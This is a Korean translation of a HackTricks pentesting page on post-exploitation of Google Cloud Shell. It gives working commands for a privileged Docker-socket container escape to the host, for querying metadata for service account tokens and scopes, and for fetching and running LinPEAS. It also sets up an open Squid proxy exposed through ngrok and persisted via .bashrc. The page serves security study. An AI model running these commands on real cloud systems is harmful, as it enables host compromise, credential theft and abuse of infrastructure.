GCP - Cloud Shell Post Exploitation

Support HackTricks

Cloud Shell

Cloud Shell์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”:

Container Escape

Google Cloud Shell์€ ์ปจํ…Œ์ด๋„ˆ ๋‚ด์—์„œ ์‹คํ–‰๋˜๋ฏ€๋กœ, ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•˜์—ฌ ํ˜ธ์ŠคํŠธ๋กœ ์‰ฝ๊ฒŒ ํƒˆ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

์ด๊ฒƒ์€ ๊ตฌ๊ธ€์— ์˜ํ•ด ์ทจ์•ฝ์ ์œผ๋กœ ๊ฐ„์ฃผ๋˜์ง€ ์•Š์ง€๋งŒ, ํ•ด๋‹น ํ™˜๊ฒฝ์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์ผ์— ๋Œ€ํ•œ ๋” ๋„“์€ ์‹œ๊ฐ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

๊ฒŒ๋‹ค๊ฐ€, ํ˜ธ์ŠคํŠธ์—์„œ ์„œ๋น„์Šค ๊ณ„์ • ํ† ํฐ์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

๋‹ค์Œ ๋ฒ”์œ„์™€ ํ•จ๊ป˜:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

LinPEAS๋กœ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ์—ด๊ฑฐํ•˜๊ธฐ:

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

https://github.com/carlospolop/bf_my_gcp_permissions๋ฅผ ์‚ฌ์šฉํ•œ ํ›„ ๊ถŒํ•œ์ด ๋ฐœ๊ฒฌ๋˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค...

ํ”„๋ก์‹œ๋กœ ์‚ฌ์šฉํ•˜๊ธฐ

๊ตฌ๊ธ€ ํด๋ผ์šฐ๋“œ ์…ธ ์ธ์Šคํ„ด์Šค๋ฅผ ํ”„๋ก์‹œ๋กœ ์‚ฌ์šฉํ•˜๋ ค๋ฉด ๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(๋˜๋Š” .bashrc ํŒŒ์ผ์— ์‚ฝ์ž…ํ•˜์„ธ์š”):

sudo apt install -y squid

Just for let you know Squid is a http proxy server. Create a squid.conf file with the following settings:

๋‹ค์Œ ์„ค์ •์œผ๋กœ **squid.conf** ํŒŒ์ผ์„ ๋งŒ๋“œ์„ธ์š”:
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

squid.conf ํŒŒ์ผ์„ /etc/squid๋กœ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค.

sudo cp squid.conf /etc/squid

๋งˆ์ง€๋ง‰์œผ๋กœ squid ์„œ๋น„์Šค๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค:

sudo service squid start

ngrok๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ”„๋ก์‹œ๋ฅผ ์™ธ๋ถ€์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜์‹ญ์‹œ์˜ค:

./ngrok tcp 3128
tcp:// URL๋ฅผ ๋ณต์‚ฌํ•œ ํ›„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๋ธŒ๋ผ์šฐ์ €์—์„œ ํ”„๋ก์‹œ๋ฅผ ์‹คํ–‰ํ•˜๋ ค๋ฉด tcp:// ๋ถ€๋ถ„๊ณผ ํฌํŠธ๋ฅผ ์ œ๊ฑฐํ•˜๊ณ  ํฌํŠธ๋ฅผ ๋ธŒ๋ผ์šฐ์ € ํ”„๋ก์‹œ ์„ค์ •์˜ ํฌํŠธ ํ•„๋“œ์— ์ž…๋ ฅํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค (squid๋Š” http ํ”„๋ก์‹œ ์„œ๋ฒ„์ž…๋‹ˆ๋‹ค).

์‹œ์ž‘ ์‹œ ๋” ๋‚˜์€ ์‚ฌ์šฉ์„ ์œ„ํ•ด .bashrc ํŒŒ์ผ์—๋Š” ๋‹ค์Œ ์ค„์ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

The instructions were copied from https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. ์ด ํŽ˜์ด์ง€์—์„œ Cloud Shell์—์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋ฐ Windows์™€ ๊ฐ™์€ ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋‹ค๋ฅธ ๊ธฐ๋ฐœํ•œ ์•„์ด๋””์–ด๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

Support HackTricks

Last updated